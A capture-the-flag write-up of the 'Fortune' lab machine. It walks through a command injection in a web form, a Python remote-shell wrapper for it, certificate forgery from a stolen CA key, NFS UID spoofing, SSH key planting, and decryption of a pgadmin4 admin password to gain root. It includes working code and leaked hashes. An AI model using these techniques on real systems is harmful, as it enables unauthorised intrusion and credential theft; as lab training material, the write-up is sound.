Fortune is a just retired Insane rated box which is actually my first owned machine in this range of difficulty and it ended up being easier than I expected. In my opinion, this box was perfectly designed and it was an awesome ride from start to finish, very enjoyable.

This is an OpenBDS box that includes aspects related to public/private keys, certificates, authpf, NFS shares and pgadmin4.

user.txt

Enumeration

An initial nmap scan shows the following results:

PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: ERROR: Script execution failed (use -d to debug)

Port 443 asks us for a client certificate to authenticate and port 80 gives us the following simple website:

If we request any of the databases, using a proxy we can see the following:

Exploitation: RCE through Command Injection

Messing with the db parameter is the way to go, we can indeed pipe our evil commands allowing us RCE. The user running the webserver is _fortune and thepasswdfile shows us three more interesting users: bob, charlie and nfsuser.

In order to make it easy for me, I wrote a simple “shell” using Python to exploit the RCE, although we could just use some reverse shell if we pleased.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Simple Spaghetti RCE Shell by Darahh

from os import system
import requests
from bs4 import BeautifulSoup
import re

url = "http://10.10.10.127/select"

#Initial path
PATH = "/"
while True:
	raw = raw_input("%s> " % (PATH))
	if raw == "clear":
		system(raw)
		continue
	elif raw == "exit":
		print "Exiting RCE shell..."
		break
	data = {'db':'whatever;cd %s; %s ; echo "####"; echo -n "---PATH---";echo -n $(pwd);echo -n ---PATH---' % (PATH,raw) }
	response = requests.post(url, data=data)
	#Split the response so have have the actual command and the path info separated
	response = response.content.split("####")
	#Update PATH
	PATH = re.search('---PATH---(.*)---PATH---',response[1]).group(1)
	#Parse the response and print the output of the command
	source = BeautifulSoup(response[0], "lxml")
	RCEoutput = source.find("pre").getText()
	print RCEoutput

Playing with certificates

After enumerating for a while, in bob‘s home directory we find information related to openssl configuration and a bunch of certificates. The important files for us are intermediate.cert.pem and intermediate.key.pem which could allow us to create and sign our own keys and let us authenticate in port 443 finally.

/home/bob/ca> ls -l  
total 48
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob   115 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
-rw-r--r--  1 bob  bob     0 Oct 29  2018 index.txt.old
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 intermediate
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4200 Oct 29  2018 openssl.cnf
drwx------  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

/home/bob/ca> ls -l intermediate/certs
total 24
-r--r--r--  1 bob  bob  4114 Oct 29  2018 ca-chain.cert.pem
-r--r--r--  1 bob  bob  1996 Oct 29  2018 fortune.htb.cert.pem
-r--r--r--  1 bob  bob  2061 Oct 29  2018 intermediate.cert.pem

/home/bob/ca> ls -l intermediate/private
total 12
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem

In this case, I just use the private key and the certificate that we borrow from bob to get our authentication. I create a new PKCS12 certificate which will be added to the clients certificates in our web browser configuration.

openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.cert.p12

After importing the certificate and authenticating, we get to the site /generate which is titled “authpf ssh access” and where we can generate a pair of keys to log via SSH.

This keys gives us a SSH session, however we can not type any commands.

darahh@hackiit# ssh -i fortune.pkey nfsuser@10.10.10.127
Last login: Thu Aug  1 21:25:47 2019 from 10.10.12.42

Hello nfsuser. You are authenticated from host "10.10.14.62"

This is because we actually have authenticated to Authpf, which, shortly, will allow new traffic to reach us while our session is open since we are now logged in.

We can prove this by doing a quick port scan. As we see, there are some new services.

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp   open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          833/udp  mountd
|_  100005  1,3          985/tcp  mountd
443/tcp  open  ssl/https?
|_ssl-date: ERROR: Script execution failed (use -d to debug)
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4

Network File System (NFS)

We start enumerating this service by looking for which directory is being shared across the network and mounting it on our system.

darahh@hackiit# showmount -e 10.10.10.127
Export list for 10.10.10.127:
/home (everyone)
darahh@hackiit# mount 10.10.10.127:/home /mnt/nfs-share/
darahh@hackiit# ls -l /mnt/nfs-share/
total 6
drwxr-xr-x 5 bob     charlie 512 Nov  3  2018 bob
drwxr-x--- 3 charlie demo    512 Nov  6  2018 charlie
drwxr-xr-x 2 demo    bob     512 Nov  3  2018 nfsuser

The way to get around this is pretty simple. NFS checks permissions comparing the UID/GID of the owner in the server and client user. Based on this, if we check /etc/passwd the UID/GID of the users, we could create users with such IDs in our system and examine the files.

This way we get the user.txt file.

charlie@hackiit$ ls -l 
total 4
-rw------- 1 charlie demo 608 Nov  3  2018 mbox
-r-------- 1 charlie demo  33 Nov  3  2018 user.txt
charlie@hackiit$ wc -c user.txt 
33 user.txt

Also, adding our public key to /home/charlie/.ssh/authorized_keys will get us a stable SSH session as user charlie to continue our way into the box.

root.txt

Enumeration

Once we are inside the box as charlie we can find an email from bobin the home directory.

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.

Cheers,

Bob

The situation is clear, there is a PostgreSQL database running managed using pgadmin4 so we need to obtain the DBA password and crack it in order to get access to rootuser.

Our first find is the database which we can locate in /var/appsrv/pgadmin4/pgadmin4.db and we can easily extract it to our local system using scp. To examine the database we can use sqlitebrowser, sqlite3 or we could simply use strings and see what’s good.

We can find what it seems to be threes hashes from user passwords, bob, charlie and the postgresdba.

bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
postgresdba utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz

Once reached this point we could throw the hashes inside jhon or hascat and pray for them to do their job, but we are going to need to reverse the code of the application a little bit to understand how the connections and encryption/decryption are working.

For example, in the file /usr/local/pgadmin4/pgadmin4-3.4/web/pgadmin/utils/driver/psycopg2/connection.py which implements the connections handling we find some differences from the official project hosted at Github.

In the connection function around line 260, we can see the following:

The decryption of the password is being done by using the encrypted password and some encryption key, but in Fortune it is done by using the current user password as encryption key.

Decrypting DBA password

Since we don’t need to crack any of the hashes that we have, we can simply decrypt dba‘s password by using bob‘s hash as decryption key.

Based on the crypto implementation found in the same pgadmin4 project inside Fortune (/usr/local/pgadmin4/pgadmin4-3.4/web/pgadmin/utils/crypto.py) we can achieve this task by doing some simple modifications.

import base64
import hashlib

from Crypto import Random
from Crypto.Cipher import AES

padding_string = b'}'


def pad(key):
    """Add padding to the key."""
    global padding_string
    str_len = len(key)

    # Key must be maximum 32 bytes long, so take first 32 bytes
    if str_len > 32:
        return key[:32]

    # If key size id 16, 24 or 32 bytes then padding not require
    if str_len == 16 or str_len == 24 or str_len == 32:
        return key

    # Convert bytes to string (python3)
    if not hasattr(str, 'decode'):
        padding_string = padding_string.decode()

    # Add padding to make key 32 bytes long
    return key + ((32 - str_len % 32) * padding_string)

def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.

    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    global padding_string

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(pad(key), AES.MODE_CFB, iv)
    decrypted = cipher.decrypt(ciphertext[AES.block_size:])

    return decrypted

#DBA encrypted password
dba = 'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz'
#Bob's hashed password which we are using as decryption key
key = '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg'

output = decrypt(dba,key)

print output

Running the script will give us the following output.

darahh@hackiit# python decrypt.py 
R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

Now we can just su root in charlie‘s SSH session and get our precious root.txt.

fortune# whoami
root
fortune# wc -c root.txt
      33 root.txt

Leave a comment

Your email address will not be published. Required fields are marked *